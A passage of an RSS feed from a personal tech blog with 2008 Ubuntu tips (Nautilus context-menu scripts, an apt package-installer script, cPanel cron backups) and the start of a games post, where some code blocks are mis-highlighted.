&lt;/ul&gt;</content></item><item><title>Ubuntu TIP: Extending Nautilus, Scripting Your Way To UI Bliss</title><link>https://shantanugoel.com/2008/03/09/ubuntu-tip-extending-nautilus-scripting-your-way-to-ui-bliss/</link><pubDate>Sun, 09 Mar 2008 16:10:18 +0000</pubDate><guid>https://shantanugoel.com/2008/03/09/ubuntu-tip-extending-nautilus-scripting-your-way-to-ui-bliss/</guid><description>&lt;p&gt;I&amp;rsquo;m back from my vacation and this is a smallish post before we return to our regular programming (I&amp;rsquo;m full of puns &lt;img src="https://shantanugoel.com/img/uploads/smile3.gif" alt=""&gt; ).&lt;/p&gt;
&lt;p&gt;Rahul (my friend and guest author on this blog) introduced me to an old-but-useful trick a few days ago that I didn&amp;rsquo;t know about. It&amp;rsquo;s about customizing nautilus to display a context menu that has a few of your chosen scripts to weave their magic on the selected object. And the procedure to do this is summarized in just two steps:&lt;/p&gt;</description><content>&lt;p&gt;I&amp;rsquo;m back from my vacation and this is a smallish post before we return to our regular programming (I&amp;rsquo;m full of puns &lt;img src="https://shantanugoel.com/img/uploads/smile3.gif" alt=""&gt; ).&lt;/p&gt;
&lt;p&gt;Rahul (my friend and guest author on this blog) introduced me to an old-but-useful trick a few days ago that I didn&amp;rsquo;t know about. It&amp;rsquo;s about customizing nautilus to display a context menu that has a few of your chosen scripts to weave their magic on the selected object. And the procedure to do this is summarized in just two steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Write your script.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Save it in ~/.gnome2/nautilus-scripts and make it executable&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Of course, if you don&amp;rsquo;t know scripting the first step itself is quite daunting, but you can get a lot of pre-cooked scripts on the internet by searching for &amp;ldquo;&lt;a href="http://www.google.com/search?hl=en&amp;amp;q=nautilus+scripts&amp;amp;btnG=Google+Search"&gt;nautilus scripts&lt;/a&gt;&amp;rdquo;. e.g. take a look at &lt;a href="http://g-scripts.sourceforge.net/"&gt;g-scripts homepage&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To get you started immediately, here is a crude example to open a terminal/console window in any folder/path through right-click menu:&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Step 1) Write your script (any scripting language: shell, perl, python, etc):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gnome-terminal --working-directory&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$1&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Step 2) Save it in ~/.gnome2/nautilus-scripts, name it as &amp;ldquo;Terminal&amp;rdquo; and make it executable.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x Terminal
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Step 3) Now, you should see a &amp;ldquo;Scripts&amp;rdquo; option in your right-click menu as shown below. Clicking on &amp;ldquo;Terminal&amp;rdquo; will open a new terminal window with the present working directory being set to the selected folder.
&lt;a href="https://shantanugoel.com/img/uploads/nautilus_scripts.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/nautilus_scripts_thumb.jpg" alt="Nautilus_scripts"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you don&amp;rsquo;t see the &amp;ldquo;scripts&amp;rdquo; menu option (or your script name in the extended menu), then just run&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo killall nautilus
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let me know if you face any problems with this or have any other questions.&lt;/p&gt;</content></item><item><title>Ubuntu TIP: Automating Package Installation – apt-get to the rescue</title><link>https://shantanugoel.com/2008/03/06/ubuntu-tip-automating-package-installation--apt-get-to-the-rescue/</link><pubDate>Thu, 06 Mar 2008 03:30:20 +0000</pubDate><guid>https://shantanugoel.com/2008/03/06/ubuntu-tip-automating-package-installation--apt-get-to-the-rescue/</guid><description>&lt;p&gt;&lt;strong&gt;Admin Note:&lt;/strong&gt; Rahul is a long time friend of mine, and is a well known geek amongst his friends and colleagues. I&amp;rsquo;m happy to announce that he will be enriching this site from time-to-time as a guest editor/author. First up is a small tid-bit of a script that he wrote to ease up his life between installations and reinstallations of everyone&amp;rsquo;s favourite OS: Ubuntu. Over to his post..&lt;/p&gt;
&lt;p&gt;Have you ever had to reinstall your ubuntu installation, and then bear the pain of manually installing the applications you&amp;rsquo;ve come to love (i mean use :)) everyday? If yes, then cheer up buddy, because all you really need is some magic (read scripting), some typing and spend some time digging the package names of your favourite applications.&lt;/p&gt;</description><content>&lt;p&gt;&lt;strong&gt;Admin Note:&lt;/strong&gt; Rahul is a long time friend of mine, and is a well known geek amongst his friends and colleagues. I&amp;rsquo;m happy to announce that he will be enriching this site from time-to-time as a guest editor/author. First up is a small tid-bit of a script that he wrote to ease up his life between installations and reinstallations of everyone&amp;rsquo;s favourite OS: Ubuntu. Over to his post..&lt;/p&gt;
&lt;p&gt;Have you ever had to reinstall your ubuntu installation, and then bear the pain of manually installing the applications you&amp;rsquo;ve come to love (i mean use :)) everyday? If yes, then cheer up buddy, because all you really need is some magic (read scripting), some typing and spend some time digging the package names of your favourite applications.&lt;/p&gt;
&lt;p&gt;To get started, you&amp;rsquo;ll need to type the package information in a configuration file. The format of the file is really simple&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Any line starting with a # is ignored&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Blank lines are ignored&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Any other line, the first word is taken as the package name you want to install&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x rapt-client-install-packages.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Run this script as root (or using sudo command)&lt;/p&gt;
&lt;blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;sudo ./rapt-client-install-packages.sh configFile&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;In&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;you&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;do&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;not&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;specify&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;configFile&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;g&lt;/span&gt;. &lt;span style="color:#f92672"&gt;package&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;names&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;lst&lt;/span&gt;), &lt;span style="color:#a6e22e"&gt;it&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;will&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bug&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;you&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;to&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;manually&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;enter&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;packages&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt; :&lt;span style="color:#a6e22e"&gt;D&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;What&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;this&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;does&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;read&lt;/span&gt; &lt;span style="color:#f92672"&gt;package&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;specified&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;or&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;bug&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;user&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#f92672"&gt;package&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;names&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;in&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;filename&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;not&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;specified&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;install&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;these&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;packages&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;That&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;s&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;it&lt;/span&gt;. &lt;span style="color:#a6e22e"&gt;And&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;everything&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;runs&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fine&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;you&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;should&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;have&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;a&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;system&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;will&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;all&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;your&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;beloved&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;apps&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;installed&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;The&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;below&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;snippet&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sample&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;configuration&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;would&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;install&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;packages&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;–&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;hardinfo&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;gmountiso&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;devilspie&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;and&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;nautilus&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;open&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;terminal&lt;/span&gt;. &lt;span style="color:#a6e22e"&gt;The&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;lines&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sysinfo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;and&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;istanbul&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;would&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;be&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ignored&lt;/span&gt;. &lt;span style="color:#a6e22e"&gt;In&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;you&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;later&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wish&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;to&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;install&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;these&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;packages&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;all&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;you&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;need&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;to&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;do&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;is&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;uncomment&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;line&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;and&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;run&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;again&lt;/span&gt; :).
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;#sysinfo = UNIX/Linux system information
hardinfo = UNIX/Linux hardware information
gmountiso = a PyGTK GUI to mount your cd images
#istanbul = Desktop session recorder
devilspie = find windows and perform actions on them
nautilus-open-terminal = nautilus plugin for opening terminals in arbitrary local paths&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-go" data-lang="go"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Note&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&amp;gt; &lt;span style="color:#ae81ff"&gt;1.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;The&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;script&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;will&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fail&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;in&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#f92672"&gt;package&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;cannot&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;be&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;found&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;using&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;the&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;repositories&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;enabled&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;on&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;your&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;system&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&amp;gt; &lt;span style="color:#ae81ff"&gt;2.&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;In&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;case&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;you&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;use&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;additional&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;repositories&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;you&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;must&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;add&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;these&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;manually&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;to&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;your&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;apt&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;configuration&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;file&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;and&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;``&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;`&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;sudo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;apt&lt;/span&gt;&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;update&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;ol start="3"&gt;
&lt;li&gt;The hard part is not the installation, but setting up the applications to your likings :D&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</content></item><item><title>TIP: Automating Website Backups - Part III (Cron Made Easy)</title><link>https://shantanugoel.com/2008/03/04/tip-automating-website-backups-part-iii-cron-made-easy/</link><pubDate>Tue, 04 Mar 2008 04:00:00 +0000</pubDate><guid>https://shantanugoel.com/2008/03/04/tip-automating-website-backups-part-iii-cron-made-easy/</guid><description>&lt;p&gt;The question that we will be answering today is: &lt;strong&gt;Q2:&lt;/strong&gt; Cron? Using tar, making up the script file is enough command line for me. Isn&amp;rsquo;t there an easy way? &lt;a href="http://en.wikipedia.org/wiki/Crontab"&gt;Cron&lt;/a&gt; is a tool that can schedule any kind of tasks for you, and here we are using it to run our backup script automatically, so that we can concentrate on blogging. Now, most of us are phobic of anything that has anything to do with command line. And we already have enough of command line stuff in this &lt;a href="https://shantanugoel.com/2008/02/17/tip-automating-website-backups.html"&gt;series&lt;/a&gt;. So, you can breathe a sigh of relief for a few moments because atleast the cron part can be made Web/GUI based for you (The command line method for cron was given in the &lt;a href="https://shantanugoel.com/2008/02/17/tip-automating-website-backups.html"&gt;first part&lt;/a&gt;). The details that I&amp;rsquo;m going to present here are relevant for cpanel but it might differ for you (very minor to very major) as your webhost might have a different panel for you (e.g. vdeck) or even your cpanel might look very different. But the basic concept remains the same and with a bit of common sense, you can apply this concept to your site easily.&lt;/p&gt;</description><content>&lt;p&gt;The question that we will be answering today is: &lt;strong&gt;Q2:&lt;/strong&gt; Cron? Using tar, making up the script file is enough command line for me. Isn&amp;rsquo;t there an easy way? &lt;a href="http://en.wikipedia.org/wiki/Crontab"&gt;Cron&lt;/a&gt; is a tool that can schedule any kind of tasks for you, and here we are using it to run our backup script automatically, so that we can concentrate on blogging. Now, most of us are phobic of anything that has anything to do with command line. And we already have enough of command line stuff in this &lt;a href="https://shantanugoel.com/2008/02/17/tip-automating-website-backups.html"&gt;series&lt;/a&gt;. So, you can breathe a sigh of relief for a few moments because atleast the cron part can be made Web/GUI based for you (The command line method for cron was given in the &lt;a href="https://shantanugoel.com/2008/02/17/tip-automating-website-backups.html"&gt;first part&lt;/a&gt;). The details that I&amp;rsquo;m going to present here are relevant for cpanel but it might differ for you (very minor to very major) as your webhost might have a different panel for you (e.g. vdeck) or even your cpanel might look very different. But the basic concept remains the same and with a bit of common sense, you can apply this concept to your site easily.&lt;/p&gt;
&lt;p&gt;Step1) Look for some option in your control panel, which says something on the lines of &amp;ldquo;cron&amp;rdquo;, &amp;ldquo;cron job&amp;rdquo; or such. e.g.:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://shantanugoel.com/img/uploads/automating_website_backups_cpanel1_small.jpg" alt="Automating website backups cpanel1"&gt;&lt;/p&gt;
&lt;p&gt;Step2) If you get a screen as shown below, choose the experience level as &amp;ldquo;Standard&amp;rdquo; (maybe &amp;ldquo;novice&amp;rdquo; or similar in your panel). After all, we are using it because we want to avoid that unixy-command-line-stuff &lt;img src="https://shantanugoel.com/img/uploads/smile3.gif" alt="Smile"&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/automating_website_backups_cpanel2_cron.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/automating_website_backups_cpanel2_cron_small.jpg" alt="Automating_website_backups_cpanel2_cron"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Step3) You will get a screen as shown below.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://shantanugoel.com/img/uploads/automating_website_backups_cpanel3_cron.png"&gt;&lt;img src="https://shantanugoel.com/img/uploads/automating_website_backups_cpanel3_cron_small.jpg" alt="Automating_website_backups_cpanel3_cron"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;First, fill in the e-mail ID to which you want the script output to be sent to. (e.g. tar will output the list of files that were backed up) (e.g. &lt;a href="mailto:myemail@mysite.com"&gt;myemail@mysite.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;Then, give the &amp;ldquo;&lt;strong&gt;full&lt;/strong&gt;&amp;rdquo; path (yes, starting from the root &amp;ldquo;/&amp;rdquo;) to your script that has to be run (e.g. /home/myusername/backup/backup.sh)&lt;/p&gt;
&lt;p&gt;Then, choose the periodicity/time when this script has to be run, e.g., here we have chosen the script to be run everyday at 10:00 PM. &lt;strong&gt;IMPORTANT:&lt;/strong&gt; Note that the time given here is GMT, so add your timezone offset. Generally, you should select a time when you expect the load on your website to be the lowest. e.g. I have selected a time of 3:00 AM everyday.&lt;/p&gt;
&lt;p&gt;Press &amp;ldquo;save&amp;rdquo;, &amp;ldquo;done&amp;rdquo;, &amp;ldquo;add&amp;rdquo; or whatever similar button you can find and it&amp;rsquo;s over &lt;img src="https://shantanugoel.com/img/uploads/smile1.gif" alt="Smile"&gt;. That was easy innit?&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s it for today. Lemme know if you have any doubts, or if you would like to see any other questions answered in this series. The question that will be answered next time (in &amp;ldquo;hopefully&amp;rdquo; the last part of the series) is:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q3:&lt;/strong&gt; Well, backup is all hunky-dory. Now, how do I restore?&lt;/p&gt;</content></item><item><title>Games: Wormux Reporting to Action, SIR!!!</title><link>https://shantanugoel.com/2008/03/03/games-wormux-reporting-to-action-sir/</link><pubDate>Mon, 03 Mar 2008 03:30:00 +0000</pubDate><guid>https://shantanugoel.com/2008/03/03/games-wormux-reporting-to-action-sir/</guid><description>&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Alpha to Bravo, over. Come in, Bravo, over.. We are under attack, over.. Send reinforcements asap. over and out&amp;rdquo;.&lt;/p&gt;
&lt;/blockquote&gt;
